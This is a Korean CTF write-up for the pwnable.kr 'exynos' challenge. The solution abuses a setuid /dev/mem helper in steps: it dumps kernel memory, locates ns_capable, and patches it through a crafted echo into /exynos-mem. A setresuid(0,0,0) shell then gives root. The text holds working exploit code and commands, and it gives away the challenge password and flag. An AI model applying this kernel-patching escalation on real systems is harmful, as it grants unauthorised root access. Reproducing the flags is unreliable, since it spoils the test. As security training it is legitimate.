콘텐츠로 건너뛰기

exynos

Description

How did Samsung accidently mess up their phone?

* there is gcc environment inside the QEMU box.
* no debugging environment is provided.

ssh [email protected] -p2222 (pw: flag of syscall)

(pw: Must_san1tize_Us3r_p0int3r)

Analysis

파일을 확인해보면, exynos-mem 실행 파일이 보인다.

실행권한이 4775로 되어있기 때문에 setuid 비트가 활성화되어있다. 따라서 실행시키면 일반 사용자더라도 root 권한으로 실행된다.

/ $ ls -la
total 607
drwxr-xr-x   14 0        0             1024 Apr 10 13:21 .
drwxr-xr-x   14 0        0             1024 Apr 10 13:21 ..
-rw-------    1 0        1000           111 Apr 10 14:25 .ash_history
drwxr-xr-x    2 0        0             2048 Jul 11  2014 bin
drwxr-xr-x    2 0        0             1024 Jul 11  2014 boot
drwxr-xr-x    2 0        0             1024 Apr 10 12:16 dev
drwxr-xr-x    3 0        0             1024 Jul 11  2014 etc
-rwsrwxr-x    1 0        0           589585 Nov 24  2015 exynos-mem
drwxr-xr-x    6 0        0             1024 Nov 19  2016 lib
lrwxrwxrwx    1 0        0               11 Jul 11  2014 linuxrc -> bin/busybox
drwx------    2 0        0            12288 Jul 11  2014 lost+found
dr-xr-xr-x   43 0        0                0 Jan  1  1970 proc
drwx------    2 0        0             1024 Apr  5 08:57 root
drwxr-xr-x    2 0        0             2048 Jul 11  2014 sbin
drwxr-xr-x    2 0        0             1024 Jul 11  2014 sys
drwxrwxrwx    2 0        0             1024 Apr 10 13:20 tmp
drwxr-xr-x    6 0        0             1024 Jul 11  2014 usr

/ $ stat /exynos-mem 
  File: /exynos-mem
  Size: 589585    	Blocks: 1160       IO Block: 1024   regular file
Device: 100h/256d	Inode: 30          Links: 1
Access: (4775/-rwsrwxr-x)  Uid: (    0/ UNKNOWN)   Gid: (    0/ UNKNOWN)
Access: 2025-04-10 12:37:45.000000000
Modify: 2015-11-24 18:59:20.000000000
Change: 2015-11-25 09:59:45.000000000

Decompiled src

  • exynos-mem

/dev/mem 물리 메모리의 모든 영역에 사용자 공간에서 직접 접근할 수 있는 장치 파일이다.

인자는 다음과 같이 파싱된다.

  • argv[1] → 읽거나 쓸 물리 주소
  • argv[2] → 읽거나 쓸 바이트 크기
  • argv[3] → 모드: 0=읽기(read), 1=쓰기(write)

이를 테면 다음과 같이 사용될 수 있다.

예시:

# 물리 주소 0x1000에서 256바이트를 읽어 표준 출력으로 덤프
/exynos-mem 0x1000 256 0

# 표준 입력에서 데이터를 읽어 물리 주소 0x2000에 128바이트 쓰기
echo -n "\x01\x02\x03..." | /exynos-mem 0x2000 128 1
int __fastcall main(int argc, const char **argv, const char **envp)
{
  int v5; // [sp+8h] [bp-1Ch]
  int v6; // [sp+8h] [bp-1Ch]
  int v7; // [sp+Ch] [bp-18h]
  int v8; // [sp+10h] [bp-14h]
  int v9; // [sp+14h] [bp-10h]
  int v10; // [sp+18h] [bp-Ch]
  int v11; // [sp+1Ch] [bp-8h]

  if ( argc == 4 )
  {
    v7 = open("/dev/mem", 2, envp);
    v8 = atoi(argv[1]);
    v9 = atoi(argv[2]);
    v10 = atoi(argv[3]);
    lseek(v7, v8, 0);
    v11 = malloc(v9);
    v5 = 0;
    if ( v10 )
    {
      if ( v10 == 1 )
      {
        read(0, v11, v9);
        v5 = write(v7, v11, v9);
      }
      else
      {
        fwrite("wrong mode. 0:read, 1:write\n", 1, 28, stderr);
      }
      fprintf(stderr, "processed %d bytes\n", v5);
    }
    else
    {
      read(v7, v11, v9);
      v6 = write(1, v11, v9);
      fprintf(stderr, "processed %d bytes\n", v6);
    }
  }
  else
  {
    puts("usage : exynos-mem [phyaddr] [bytesize] [mode(R/W-0/1)]", argv, envp);
  }
  return 0;
}

Solution

이전에 엑시노스칩이 탑재된 갤럭시 S3 기종때 일반 사용자가 물리메모리를 읽고 쓸 수 있는 취약점이 있었던 것으로 보인다.

https://github.com/FSecureLABS/mercury-modules/blob/master/metall0id/root/exynosmem/exynos-abuse/jni/exynos-abuse.c

https://xdaforums.com/t/root-security-root-exploit-on-exynos.2048511

커널 R/W/X 세그먼트 구분없이 읽고 쓰는 것이 가능하기에 커널 코드 수정도 충분히 가능했다.

우선 내 아이디어는 다음과 같다.

  1. /exynos-mem을 통해 물리메모리를 읽어 커널 추출
  2. 추출된 데이터를 base64로 인코딩하여 터미널에 출력
  3. 출력된 내용을 복붙해 디코딩
  4. ns_capable 패치 및 setresuid(0,0,0); 호출하여 root 권한 상승

우선은 /tmp 디렉토리에 해당 코드 작성 및 컴파일

cd /tmp;
vi dump.c
(dump.c 코드 작성)
gcc -o dump dump.c
  • dump.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>

// 실행 대상 바이너리 경로
#define TARGET_PROGRAM "/exynos-mem"

int main(int argc, char *argv[]) {
    if (argc != 4) {
        fprintf(stderr, "사용법: %s [물리주소] [바이트수] [모드(0:읽기, 1:쓰기)]\n", argv[0]);
        return 1;
    }

    int fd = open("mem_dump.bin", O_CREAT | O_WRONLY | O_TRUNC, 0644);
    if (fd < 0) {
        perror("open");
        return 1;
    }

    // stdout(1)을 파일로 리디렉션
    if (dup2(fd, STDOUT_FILENO) < 0) {
        perror("dup2");
        close(fd);
        return 1;
    }

    close(fd);

    // execvp 실행 인자 준비
    char *args[] = {
        TARGET_PROGRAM,
        argv[1],  // 물리 주소
        argv[2],  // 바이트 수
        argv[3],  // 모드 (0: read, 1: write)
        NULL
    };

// >>> 0x60000000+1000000*0
// 1610612736 (0x60000000)

// >>> 0x60000000+1000000*1
// 1611612736 (0x600f4240)

// >>> 0x60000000+1000000*2
// 1612612736 (0x601e8480)

// >>> 0x60000000+1000000*3
// 1613612736 (0x602dc6c0)

// >>> 0x60000000+1000000*4
// 1614612736 (0x603d0900)

// >>> 0x60000000+1000000*5
// 1615612736 (0x604c4b40)

// >>> 0x60000000+1000000*6
// 1616612736 (0x605b8d80)


    // 프로그램 실행
    execvp(args[0], args);

    // 실패할 경우
    perror("execvp");
    return 1;
}

이제 약간의 노가다를 해주어야 한다.

dump 실행파일을 생성했을때 여유공간이 약 1.4M밖에 안되어서 한번에 추출할 수 없다. 따라서 7번좀 노가다 해줄 필요가 있었다.

/tmp $ df -h
Filesystem                Size      Used Available Use% Mounted on
/dev/root.old            46.5M     42.6M      1.4M  97% /

추출시킬려는 커널의 물리주소는 /proc/iomem 을 통해 얻을 수 있다.

/tmp $ cat /proc/iomem
(...)
60000000-66dfffff : System RAM
  60008000-60485f3f : Kernel code
  604ba000-605065cf : Kernel data

노가다 7번 정도.

cd /tmp;
./dump 1610612736 1000000 0
base64 ./mem_dump.bin && rm mem_dump.bin
(인코딩 데이터 가져오기)

./dump 1611612736 1000000 0
base64 ./mem_dump.bin && rm mem_dump.bin
(인코딩 데이터 가져오기)

./dump 1612612736 1000000 0
base64 ./mem_dump.bin && rm mem_dump.bin
(인코딩 데이터 가져오기)

./dump 1613612736 1000000 0
base64 ./mem_dump.bin && rm mem_dump.bin
(인코딩 데이터 가져오기)

./dump 1614612736 1000000 0
base64 ./mem_dump.bin && rm mem_dump.bin
(인코딩 데이터 가져오기)

./dump 1615612736 1000000 0
base64 ./mem_dump.bin && rm mem_dump.bin
(인코딩 데이터 가져오기)

./dump 1616612736 1000000 0
base64 ./mem_dump.bin && rm mem_dump.bin
(인코딩 데이터 가져오기)

그렇게 추출된 데이터를 다 복붙해 디코딩해서 하나의 파일로 만든다.

base64 -d 0x60000000.base64 > sram.bin
base64 -d 0x600f4240.base64 >> sram.bin
base64 -d 0x601e8480.base64 >> sram.bin
base64 -d 0x602dc6c0.base64 >> sram.bin
base64 -d 0x603d0900.base64 >> sram.bin
base64 -d 0x604c4b40.base64 >> sram.bin
base64 -d 0x605b8d80.base64 >> sram.bin

덤프시킨 커널을 IDA Pro로 열어본다.

  • ARM Little-endian

60000000-66dfffff : System RAM 이므로,

  • ROM’s start address: 0x60000000
  • Input file’s Loading address: 0x60000000
  • 32-bit mode (No)

ns_capable 패치

문제는 커널에 심볼이 없어 어느 주소에 있는지 모른다.

커널 버전은 다음과 같아서 해당 라즈베리파이 버전의 이미지를 다운받아 커널을 추출해보기 하였다

/tmp $ uname -a
Linux (none) 3.11.4 #13 SMP Fri Jul 11 00:48:31 PDT 2014 armv7l GNU/Linux

https://downloads.raspberrypi.org/raspbian/images/raspbian-2014-09-12

2014-09-09-wheezy-raspbian.img에서 kernel.img 파일을 추출하여 vmlinux-to-elf 툴을 이용하여 심볼이 유지된 elf 파일로 만들 수 있다.

https://github.com/marin-m/vmlinux-to-elf

ubuntu@2d0f4d9a440c:~/pwnable.kr/exynos/vmlinux-to-elf$ ./vmlinux-to-elf ./kernel.img kernel2.elf
[+] Kernel successfully decompressed in-memory (the offsets that follow will be given relative to the decompressed binary)
[+] Version string: Linux version 3.12.28+ (dc4@dc4-XPS13-9333) (gcc version 4.8.3 20140303 (prerelease) (crosstool-NG linaro-1.13.1+bzr2650 - Linaro GCC 2014.03) ) #709 PREEMPT Mon Sep 8 15:28:00 BST 2014
[+] Guessed architecture: armle successfully in 7.09 seconds
[+] Found kallsyms_token_table at file offset 0x00519ae0
[+] Found kallsyms_token_index at file offset 0x00519e50
[+] Found kallsyms_markers at file offset 0x00519820
[+] Found kallsyms_names at file offset 0x0049b630
[+] Found kallsyms_num_syms at file offset 0x0049b620
[i] Null addresses overall: 0 %
[+] Found kallsyms_addresses at file offset 0x0046f640
[+] Base address fallback, using first_symbol_virtual_address (c0008000)
[+] Successfully wrote the new ELF kernel to kernel2.elf

라즈베리파이 커널 버전 정보:

Linux version 3.12.28+ (dc4@dc4-XPS13-9333) (gcc version 4.8.3 20140303 (prerelease) (crosstool-NG linaro-1.13.1+bzr2650 - Linaro GCC 2014.03) ) #709 PREEMPT Mon Sep 8 15:28:00 BST 2014

ns_capable

특정 사용자 네임스페이스에서 현재 태스크가 지정된 권한(capability)을 보유하고 있는지를 검사하는 헬퍼 함수이다.

리턴은 bool 타입으로, 권한이 있으면 true, 없으면 false 반환한다.

ns_capable 함수의 리턴값을 항상 1로 리턴되도록 패치해주면 된다.

ns_capable 함수의 에필로그 opcode를 그대로 복붙해 문제서버로부터 추출했던 커널에서 검색하면 하나가 나타난다.

00 00 A0 13 0C 20 93 05 01 2C 82 03 0C 20 83 05

0x600278B0 주소가 ns_capable 함수이다.

ROM:600278EC 00 00 A0 13                             MOVNE           R0, #0
ROM:600278F0 0C 20 93 05                             LDREQ           R2, [R3,#0xC]
ROM:600278F4 01 2C 82 03                             ORREQ           R2, R2, #0x100
ROM:600278F8 0C 20 83 05                             STREQ           R2, [R3,#0xC]

sub_600278B0 함수에서 if (v5) 분기문과 상관없이 항상 1이 반환되도록 패치한다.

0x600278EC 주소에 있는 opcode를 MOV R0, #1으로 패치해주면 된다.
(MOV R0, #1\x01\x00\xA0\xE3)

실행시키면 패치된다.

0x600278EC = 1610774764

echo -e "\x01\x00\xA0\xE3" | /exynos-mem 1610774764 4 1

Result

sh: can't access tty; job control turned off
/ $ cd /tmp
/tmp $ vi shell.c
/tmp $ cat shell.c
#include <unistd.h>

int main(){
    setresuid(0,0,0);
    system("/bin/sh");
    return 0;
}
/tmp $ gcc -o shell shell.c
/tmp $ echo -e "\x01\x00\xA0\xE3" | /exynos-mem 1610774764 4 1
processed 4 bytes
/tmp $ ./shell
/bin/sh: can't access tty; job control turned off
/tmp # id
uid=0 gid=1000 groups=1000
/tmp # cd /root
/root # ls
flag
/root # cat flag
r3ad_Writ3_kernel_m3mory_as_1_want
/root # 
태그: